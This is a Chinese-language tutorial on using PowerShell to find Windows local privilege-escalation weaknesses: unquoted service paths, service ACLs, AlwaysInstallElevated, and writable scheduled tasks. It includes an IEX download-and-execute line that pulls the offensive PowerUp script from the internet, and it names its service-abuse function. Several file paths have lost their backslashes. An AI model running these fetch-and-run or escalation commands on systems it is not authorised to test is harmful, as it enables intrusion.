powershell检测提权漏洞核心是识别本地权限配置缺陷,包括:一、检查未加引号且含空格的服务路径及其写权限;二、扫描服务配置权限是否允许低权限用户修改高权限服务路径;三、验证alwaysinstallelevated注册表项是否启用;四、查找可写且由高权限账户执行的计划任务路径。
直接用 powershell 检测当前用户组是否存在提权漏洞,核心是识别本地权限配置缺陷,而非单纯查“属于哪些组”。关键不在于组名本身,而在于该组是否被赋予了可被滥用的高危权限(如对服务、注册表、计划任务、可写路径等的不当控制)。以下方法聚焦实战中真正有效的检测路径:
一、检查服务路径与权限(Trusted Service Paths)
如果当前用户所属组对未加引号的服务路径有写权限,就可能通过覆盖子目录中的可执行文件实现提权。
- 运行命令列出所有自动启动、路径含空格且未加引号的服务:
Get-WmiObject Win32_Service | Where-Object {$_.StartMode -eq "Auto" -and $_.PathName -notmatch '"'} | Select-Object Name, DisplayName, PathName - 对每个路径,用
icacls检查当前用户是否有写权限:icacls "C:Program FilesSomeService" 2>&1 | findstr /i "yourusername|BUILTINUsers|Everyone" - 若返回结果含
(F)(完全控制)或(M)(修改),即存在风险。
二、扫描服务配置权限(Service Permissions)
低权限用户若能修改高权限服务的二进制路径,就能在服务重启时以 SYSTEM 权限执行任意代码。
- 使用 PowerUp 脚本一键检测:
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1'); Invoke-ServiceAbuse -ShowAll - 或手动检查关键服务(如 wlms、wuauserv)的 ACL:
sc qc wlms | findstr "BINARY_PATH_NAME"<br>icacls "C:WindowsSystem32wlms.exe"
- 重点看是否允许
BUILTINUsers或当前用户组拥有SERVICE_CHANGE_CONFIG权限。
三、验证 AlwaysInstallElevated 注册表项
若该策略启用,任何用户(包括标准用户)都能以 SYSTEM 权限安装 MSI 包,是经典提权入口。
- 检查两项注册表键值:
Get-ItemProperty "HKLM:SOFTWAREPoliciesMicrosoftWindowsInstaller" -Name "AlwaysInstallElevated" -ErrorAction SilentlyContinue<br>Get-ItemProperty "HKCU:SOFTWAREPoliciesMicrosoftWindowsInstaller" -Name "AlwaysInstallElevated" -ErrorAction SilentlyContinue
- 若任一返回值为
1,即存在漏洞。无需额外权限即可触发。
四、查找可写计划任务与高权限执行上下文
某些计划任务由 SYSTEM 或 Administrator 运行,但其执行文件路径对当前用户可写,可替换后等待触发。
- 列出所有高权限任务:
schtasks /query /fo LIST /v | findstr /i "Administrator|SYSTEM|NT AUTHORITY\SYSTEM" - 提取任务对应的程序路径,再用
Test-Path和Get-Acl验证可写性:Get-Acl "C:Tasksmalware.exe" | fl AccessToString - 也可用 PowerUp:
Invoke-AllChecks | Select-String -Pattern "Writeable Task File"
不复杂但容易忽略:这些检测都依赖当前会话的实际权限上下文。确保以目标用户身份运行 PowerShell(非管理员),才能真实反映其可利用面。工具如 PowerUp、Sherlock、WES-NG 可大幅压缩判断时间,但手工验证仍是确认漏洞可利用性的最终依据。











